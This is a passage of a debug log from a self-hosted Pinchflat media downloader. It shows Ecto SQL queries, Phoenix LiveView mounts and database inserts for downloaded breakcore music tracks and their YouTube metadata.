"media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:44.970 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:44.970 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:44.971 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:44.971 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:44.971 [info] Sent 200 in 6ms 22:19:45.104 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OD92Ri09BWwxJwImDzdJDDU1ADUkQQ4GQREqDul-ZA6vmzxZe_4Fw5YE", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:45.111 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 5} 22:19:45.111 [debug] QUERY OK source="sources" db=0.2ms idle=141.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.112 [debug] QUERY OK source="media_items" db=0.3ms idle=141.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:45.112 [debug] QUERY OK source="media_items" db=0.3ms idle=141.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.112 [debug] Replied in 1ms 22:19:45.114 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 5} 22:19:45.114 [debug] QUERY OK source="sources" db=0.1ms idle=143.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.114 [debug] QUERY OK source="media_items" db=0.0ms idle=142.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:45.114 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.114 [debug] Replied in 869µs 22:19:45.115 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 5} 22:19:45.115 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:45.116 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:45.116 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:45.116 [debug] Replied in 1ms 22:19:45.380 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "will you accept their call?\n\n*songs and spotify links*\n00:00 - the Gods... sent me for you\n• https://open.spotify.com/track/6nxBRDAB5iatSdILnH6tsj\n03:07 - i can see the stars\n• https://open.spotify.com/track/30IE2cbsLhEdjy5KefQnPW\n08:21 - i wish to be free\n• https://open.spotify.com/track/4HqvgHIm4GD8xBCngkEtnR\n10:59 - doppleganger\n• https://open.spotify.com/track/1RYNfS4I72QQTEe2FHStwv\n14:31 - fractured halo\n• https://open.spotify.com/track/4ymTOJpnRzzMeijIaffAfU\n16:54 - Gods be damned... I summon BREAKCORE\n• https://open.spotify.com/track/3oBSN3BNkKhanbxBlDArDr\n19:29 - a breakcore song for my funeral... but i wake up\n• https://open.spotify.com/track/2yEdUjhbrlLnnzQYpM0YIR\n22:01 - the breakcore enchantress\n• https://open.spotify.com/track/0HCawzTGkacPoEgPa8Ih4a\n\nYou can find all the songs on YT music, apple music and tidal as well if you search!\n\nThis playlist focuses on more heavenly #edm #breakcore / #dnb with a focus on mixing in angelic female voices and gothic sounds. Please note the art and music are made with the help of AI. For the music I use AI to create voices and to master my track. For the visuals I use generative AI and then post-processing in photoshop to enhance and add extra elements and style. Hope you all felt chills listening to this like i did when i was making it :)\n\nTags (Ignore):\nSimple breakcore music playlist visualizer featuring a unique blend of angelic #breakcore and #dnb.", "duration" => 1473, "filename" => "/downloads/Breakcore/Breakcore/2026-04-16POV: you're abducted by angels... (a DnB ⧸ Breakcore playlist)[GimsrvZO188].m4a", "id" => "GimsrvZO188", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GimsrvZO188", "playlist_index" => 8, "timestamp" => 1776362463, "title" => "POV: you're abducted by angels... (a DnB / Breakcore playlist)", "upload_date" => "20260416"} 22:19:45.381 [debug] QUERY OK source="sources" db=0.1ms idle=266.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:45.381 [debug] QUERY OK source="sources" db=0.1ms idle=266.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:45.382 [debug] QUERY OK source="media_items" db=0.1ms idle=266.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-16 18:01:03Z], 3] 22:19:45.500 [debug] QUERY OK source="media_items" db=118.2ms idle=265.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["will you accept their call?\n\n*songs and spotify links*\n00:00 - the Gods... sent me for you\n• https://open.spotify.com/track/6nxBRDAB5iatSdILnH6tsj\n03:07 - i can see the stars\n• https://open.spotify.com/track/30IE2cbsLhEdjy5KefQnPW\n08:21 - i wish to be free\n• https://open.spotify.com/track/4HqvgHIm4GD8xBCngkEtnR\n10:59 - doppleganger\n• https://open.spotify.com/track/1RYNfS4I72QQTEe2FHStwv\n14:31 - fractured halo\n• https://open.spotify.com/track/4ymTOJpnRzzMeijIaffAfU\n16:54 - Gods be damned... I summon BREAKCORE\n• https://open.spotify.com/track/3oBSN3BNkKhanbxBlDArDr\n19:29 - a breakcore song for my funeral... but i wake up\n• https://open.spotify.com/track/2yEdUjhbrlLnnzQYpM0YIR\n22:01 - the breakcore enchantress\n• https://open.spotify.com/track/0HCawzTGkacPoEgPa8Ih4a\n\nYou can find all the songs on YT music, apple music and tidal as well if you search!\n\nThis playlist focuses on more heavenly #edm #breakcore / #dnb with a focus on mixing in angelic female voices and gothic sounds. Please note the art and music are made with the help of AI. For the music I use AI to create voices and to master my track. For the visuals I use generative AI and then post-processing in photoshop to enhance and add extra elements and style. Hope you all felt chills listening to this like i did when i was making it :)\n\nTags (Ignore):\nSimple breakcore music playlist visualizer featuring a unique blend of angelic #breakcore and #dnb.", "POV: you're abducted by angels... (a DnB / Breakcore playlist)", "72548c2d-6251-47c6-b660-cb755ea3e601", false, "GimsrvZO188", 1473, false, "https://www.youtube.com/watch?v=GimsrvZO188", 8, "/downloads/Breakcore/Breakcore/2026-04-16POV: you're abducted by angels... (a DnB ⧸ Breakcore playlist)[GimsrvZO188].m4a", false, false, 3, [], 1, ~U[2026-04-16 18:01:03Z], ~U[2026-07-24 02:19:45Z], ~U[2026-07-24 02:19:45Z], "will you accept their call?\n\n*songs and spotify links*\n00:00 - the Gods... sent me for you\n• https://open.spotify.com/track/6nxBRDAB5iatSdILnH6tsj\n03:07 - i can see the stars\n• https://open.spotify.com/track/30IE2cbsLhEdjy5KefQnPW\n08:21 - i wish to be free\n• https://open.spotify.com/track/4HqvgHIm4GD8xBCngkEtnR\n10:59 - doppleganger\n• https://open.spotify.com/track/1RYNfS4I72QQTEe2FHStwv\n14:31 - fractured halo\n• https://open.spotify.com/track/4ymTOJpnRzzMeijIaffAfU\n16:54 - Gods be damned... I summon BREAKCORE\n• https://open.spotify.com/track/3oBSN3BNkKhanbxBlDArDr\n19:29 - a breakcore song for my funeral... but i wake up\n• https://open.spotify.com/track/2yEdUjhbrlLnnzQYpM0YIR\n22:01 - the breakcore enchantress\n• https://open.spotify.com/track/0HCawzTGkacPoEgPa8Ih4a\n\nYou can find all the songs on YT music, apple music and tidal as well if you search!\n\nThis playlist focuses on more heavenly #edm #breakcore / #dnb with a focus on mixing in angelic female voices and gothic sounds. Please note the art and music are made with the help of AI. For the music I use AI to create voices and to master my track. For the visuals I use generative AI and then post-processing in photoshop to enhance and add extra elements and style. Hope you all felt chills listening to this like i did when i was making it :)\n\nTags (Ignore):\nSimple breakcore music playlist visualizer featuring a unique blend of angelic #breakcore and #dnb.", "POV: you're abducted by angels... (a DnB / Breakcore playlist)", "GimsrvZO188", 1473, false, "https://www.youtube.com/watch?v=GimsrvZO188", "/downloads/Breakcore/Breakcore/2026-04-16POV: you're abducted by angels... (a DnB ⧸ Breakcore playlist)[GimsrvZO188].m4a", false, 3, ~U[2026-04-16 18:01:03Z]] 22:19:45.515 [debug] QUERY OK source="sources" db=14.5ms idle=384.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:45.516 [debug] QUERY OK source="media_profiles" db=0.4ms idle=134.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:45.516 [debug] QUERY OK source="media_items" db=0.2ms idle=134.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97] 22:19:45.516 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nsilence me... if you can. · 404 Breakcore · 404 Breakcore\n\nsilence me... if you can.\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-01-26\n\nAuto-generated by YouTube.", "duration" => 144, "filename" => "/downloads/Breakcore/Breakcore/2026-01-26silence me... if you can.[1PjAACm8MJw].m4a", "id" => "1PjAACm8MJw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1PjAACm8MJw", "playlist_index" => 9, "timestamp" => 1769410565, "title" => "silence me... if you can.", "upload_date" => "20260126"} 22:19:45.516 [debug] QUERY OK source="sources" db=0.1ms idle=134.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:45.517 [debug] QUERY OK source="sources" db=0.1ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:45.517 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-26 06:56:05Z], 3] 22:19:45.677 [debug] QUERY OK source="media_items" db=159.1ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nsilence me... if you can. · 404 Breakcore · 404 Breakcore\n\nsilence me... if you can.\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-01-26\n\nAuto-generated by YouTube.", "silence me... if you can.", "22e94333-d424-4e41-9ffb-8260a255b886", false, "1PjAACm8MJw", 144, false, "https://www.youtube.com/watch?v=1PjAACm8MJw", 9, "/downloads/Breakcore/Breakcore/2026-01-26silence me... if you can.[1PjAACm8MJw].m4a", false, false, 3, [], 1, ~U[2026-01-26 06:56:05Z], ~U[2026-07-24 02:19:45Z], ~U[2026-07-24 02:19:45Z], "Provided to YouTube by DistroKid\n\nsilence me... if you can. · 404 Breakcore · 404 Breakcore\n\nsilence me... if you can.\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-01-26\n\nAuto-generated by YouTube.", "silence me... if you can.", "1PjAACm8MJw", 144, false, "https://www.youtube.com/watch?v=1PjAACm8MJw", "/downloads/Breakcore/Breakcore/2026-01-26silence me... if you can.[1PjAACm8MJw].m4a", false, 3, ~U[2026-01-26 06:56:05Z]] 22:19:45.678 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=160.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:45.679 [debug] QUERY OK source="media_profiles" db=0.5ms idle=161.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:45.680 [debug] QUERY OK source="media_items" db=0.5ms idle=161.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR 